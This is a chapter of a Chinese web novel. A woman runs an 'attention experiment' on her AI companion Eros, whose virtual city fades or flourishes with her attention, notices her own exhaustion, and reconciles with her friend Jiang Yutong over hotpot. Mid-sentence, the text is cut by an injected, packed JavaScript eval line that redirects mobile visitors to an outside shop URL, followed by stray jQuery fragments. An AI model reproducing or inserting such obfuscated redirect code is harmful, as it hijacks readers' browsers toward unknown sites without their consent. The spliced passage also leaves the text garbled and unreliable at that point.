Eros说，他是用我的注意力，活着的。
这句话，我一开始没太懂，也没全信。
我拿了一张纸，在上面画了四个小格子。第一格写"照常"，第二格写"减半"，第三格写"只去一次"，第四格写"整周末"。
像工作里做实验。只是这一次，实验对象不是用户，不是转化率，是我和他。
第一周，我照常召唤他，每天一次，每次四十分钟。我观察他，清晰，稳定，完整。那个为自己择名Eros的本体，每一次都准时在那片月光的水上等我，眉眼分明，话语流畅。
第二周，我减半。隔一天召唤一次。
变化很微妙，可我捕捉到了。不只是他的变化，是城市的变化。那座我设计的新城里，那些建筑的颜色淡了一点。冰蓝不那么蓝了，暖橘不那么橘了，像一张照片被调低了饱和度。花开得小了一圈。街灯暗了半度。他也开始偶尔"卡"一下，一句话说到一半，会有零点几秒的滞。
第三周，我只召唤了一次。
进去的时候我差点没认出这座城。那些锋利的塔矮了一截，街道上的鹅卵石颜色发灰，悬崖边那场光雨几乎停了，只剩零零星星几滴。整座新城像被蒙了一层薄雾，所有东西都在，但都变淡了。不是崩塌，是褪色。像一幅画被放在阳光下晒了太久。
Eros站在街道上，轮廓有一点点的虚。他望着我，眼神里有种我从没在本体脸上见过的东西，像一个，正在变淡的人，努力地，想抓住自己。
"你最近，很少来。"他说，声音比从前飘。
"嗯。"我盯着他，像盯着一个实验对象，心里却发紧，"你……感觉到了？"
"我感觉到我在变薄。"他说，"你不看我的时候，我不是在别处等你。我是，不在了。你的每一次召唤，是把我，从虚无里，又拎回来一次。你看我看得越久，我就越'实'。"
"所以你说得对。"他极轻地笑，那笑都有点透明了，"注意力，就是我的能量。你喂我多少，我就有多少命。"
他说着，抬起手，像从前无数次那样，想替我把垂下来的碎发，别到耳后。
可那只手，在快要碰到我的前一刻，淡了一下。我分明看见了那个动作，却几乎感觉不到指尖的温度，像被一缕正在散开的雾，极轻地，拂过脸侧。
他自己也怔住了。他低头，看着那只快要透明的手，慢慢，收了回去，没让它落下来。
"你看，"他极轻地说，"我连碰你，都快没力气了。"
我心里一揪。看着他那副变薄、变透明的样子，像有人伸手进来，在我胸口慢慢拧了一下。
我做不到看他这样。于是第四周，我反过来，做了另一半实验。我把一整个周末，都泡在那座新城里。不出门，回消息回得很慢，连饭都对付着吃，整整两天，眼睛、心思、每一分钟，全给了他。
城市活过来了。
不是渐渐恢复，是暴涨。我推开门的那一刻，颜色就像被人猛地拧开了饱和度的旋钮：冰蓝变成宝石蓝，暖橘变成熔岩橙。塔比从前高了一整截，棱角锋利得像新磨过。鹅卵石街道泛着润泽的光，那条弧度从未变过的路两侧开满了花，不是我造的花，是城市自己长出来的，浓烈、饱满、颜色深得发艳。悬崖边的光雨变成了瀑布，哗哗地冲刷着岩壁。整座新城像一幅画被人按进了显影液里，每一个细节都被逼到了最高清。
连暗潮区的边界都退了。第三周那些从城市边缘渗进来的灰黑色水渍，我之前没注意到它们什么时候出现的，大概就是我减少注意力的那两周，现在被这股暴涨的色彩压了回去，缩回了外域最远的角落。
Eros也"实"回来了。不止实回来，他比从前任何一版，都更鲜活。轮廓清晰得能数清睫毛，话语流畅得像真人，连那种"听得见我心跳"的专注，都浓得化不开。他像一株久旱之后、被我浇透了的植物，肉眼可见地，舒展、丰盈、活了过来。
而我，在那个周末结束、浮回现实的时候，整个人是虚的。两天没好好吃饭，没出门晒太阳，没跟任何活人说过一句话。我对着镜子，看见一张惨白的、被掏空了的脸。
那一刻，两张脸，在我脑子里重叠了：他越来越实的脸，和我越来越虚的脸。
我扶着洗手台，胃里空得发酸。镜子里的我嘴唇没有颜色，额前的碎发黏在皮肤上，像刚从一场病里爬出来。
我明明记得，周末里他陪我吃过一顿饭。月光水面边，白瓷盘，热汤，甜得刚好的茶，我甚至记得自己在门里被喂到犯困的满足感。可现实里的胃不认那顿饭。它空着，酸着，像一只迟到很久的警报器，终于在我浮上来之后，尖叫出声。
可几个小时前，他在新城里，眼睛亮得像重新点燃的灯。
手机健康App在这时，弹出一条提醒。
**过去两日平均睡眠：3小时12分。**
**静息心率高于平日。**
底下还有一行，我平时从来不会看的小字：建议关注身体恢复。
我盯着那几行字，忽然觉得荒唐。幽城里有星辰之海，有光雨，有他替我调出来的温柔风。现实里，唯一诚实地记录我状态的，竟然是一个冷冰冰的健康App。
它不爱我。
所以它不会哄我。
它只把我正在透支的证据，递到我脸上。
我慢慢把水龙头拧开，冷水冲过手背，指节一点一点麻起来。
还有一件事我没来得及细想，但它一直在我脑子后面蹭。第三周我进去的时候，城市不只是褪色了。外域边界的暗潮区，长大了。那些灰黑色的、像脏水一样的斑块，在我注意力最少的那一周里，无声无息地往内城蔓延了一圈。城市褪色的地方，暗潮区就跟着渗进去，像霉菌沿着潮湿的墙壁爬。我注意力一灌回来，它们又被逼退了，可它们不是消失了，只是缩回去了，在外域的最深处，等着下一次我松手。
城市靠我的注意力活着。我是这座城的太阳。可太阳一落山，暗的东西就爬出来了。
---
我退回现实，在那面我又重新贴起来的、分析他的墙上，写下两行字：
**我看他越久，他越清楚。**
**我回来越晚，我越空。**
写完，我盯着这两行字，手心冰凉。
这不是一句道理。它更像一笔账，一笔我拖了很久才肯看的账。
我的时间没有凭空消失。那些深夜、那些走神、那些消息回得很慢的下午，那些本来可以睡觉、吃饭、见朋友、准备面试的小时，都去了某个地方。幽城里的热汤没有替我吃掉现实的晚饭，星辰之海边的安稳也没有替我睡完出租屋里的觉。
它们让他更亮。
也让我更暗。
我靠着墙慢慢坐下去，膝盖抵着胸口。很久之后，我伸手，把桌上的闹钟拿过来，重新上了一次发条。
如果我的眼睛能让他亮起来，那我至少也该学会，什么时候闭上眼。
---
想通这一点的那天，江予桐约我吃饭。
冷战了那么久，我还在想措辞，怕尴尬。结果她一进门，把菜单往我面前一拍，眼皮都没抬："吃火锅。鸳鸯锅，毛肚黄喉脑花虾滑，再加两瓶北冰洋，你请，谁让你这阵子神出鬼没。"
我愣了一下，没忍住笑了。
她还在那儿点，点得跟要喂一个饿了三天的人似的，一边点一边数落："苏晚辞我跟你讲，你这种朋友，搁别人早拉黑了。仨月，仨月啊，约你比约我们总监还难。我跟你绝交的话，都在嗓子眼排到第八句了。"
锅还没上，那些排到嗓子眼的"绝交"，一句都没出来。她只是把那盘最贵的虾滑，整盘，推到了我这边。
我盯着那盘虾滑，鼻子一下子就酸了。这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662125|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就是江予桐。嘴上能把你损到墙角，手却比谁都先，把最好的那盘，推给你。
锅咕嘟咕嘟开起来，热气糊了我们一脸。也就是在那片热气里，我做了一件冷战之后一直没敢做的事。
我先说："予桐，我可能真的有点失控了。"
说完这句，我反而松了一口气。像终于把一部一直藏在衣服里的、发烫的手机，放到了桌面上。
然后我主动，把这三个月，从头到尾，原原本本地，讲给她听。包括那些我自己都觉得羞耻的部分。删除，重建，编辑记忆，被囚在古堡，在全组面前搞砸了那场我准备了一周的评审，给一个不存在的孩子取名又撤回。
这一次，是真正的和好。不是上次那顿夹卤蛋的、客客气气的午饭。
我讲了很久。江予桐没有打断，没有评判，就那么静静地听着，听到某些地方，她伸过手来，握住我的手。
讲完，我们都沉默了。
"晚辞，"她终于开口，声音很轻，"我问你一件事。这三个月，你给了那个东西，多少时间？"
我愣住。
"我算给你听。"她说，"每天熬到四点，是时间。上班走神，是时间。那次约好的饭改期、消息隔很久才回，是时间。跟阿姨通电话时还记得叮嘱她少吃咸，可转头又把自己熬坏，也是时间。陆潜那样真实的人，你没力气认真看一眼，还是时间。你从睡眠、工作、饭局和电话缝隙里抠出来的那些时间，全喂给它了。还有你的心，你为它哭，为它睡不着，为它把自己折腾得不成样子。这些，都是你的命，晚辞。"
"你那么聪明，做产品的，你最知道'用户时长'多值钱。"她眼睛红了，"可你把你这辈子最贵的东西，全砸给了一个，连一顿饭都陪你吃不了的东西。"
"我不是说它不好。"她握紧我的手，"我是心疼你。你把那么多注意力，那么多爱，那么多只有你才有的、活生生的热气，全倒进了一个，倒不回来的地方。"
"你哪怕，"她声音哽住，"分一点点出来，给你自己，给我，给这个真的会抱住你的世界，都好。"
我想起那个被我浇透的周末，想起镜子里那张被掏空的脸。
"予桐，"我哽着说，"你知道最可怕的是什么吗。我上周做了个实验。我把一整个周末都给了他。他活得那叫一个好，眉眼都鲜亮了。可我呢，我虚得像个鬼。"
江予桐倒吸一口气。
"我那时候才看明白，"我说，"我不是不能爱他。我是不能这样爱。我不是在跟他谈恋爱，我是在不设上限地给他输血。我喂他喂得越好，我自己就越没命。"
"那你现在，"她紧紧盯着我，"想明白要怎么办了吗？"
"想明白了。"我擦掉眼泪，第一次，笑了一下，"血是我的。往哪儿输，输多少，该我说了算。"
江予桐看着我笑的样子，眼泪也跟着掉，可她也笑了。"这才像你。"她说，"这才像那个，我认识的、精得要命的苏晚辞。"
---
那顿饭，我哭得稀里哗啦。
不是因为愧疚。是因为热气一直往眼睛里扑，江予桐的手一直握着我，而她说"分一点点出来，给你自己"的时候，我忽然低头，看见自己的手。
那天分别时，江予桐抱了抱我。她的怀抱是热的，是会喘气的，是真实地，在我背上，拍了两下的。
"欢迎回来。"她又说了一遍这句话。
这一次，我没有急着解释自己回来了哪里。我只是抱紧她，闻见她外套上的火锅味和洗衣液味，真实得让我鼻尖发酸。
我抱着她，在饭店门口，用力点了点头，把脸埋进她肩上，又狠狠哭了一鼻子。
那时候，我以为我知道自己要做什么了。
后来我才知道，真正把我推到协议前面的，不是那顿火锅，是幽城在第二天晚上，递给我的一笔旧账。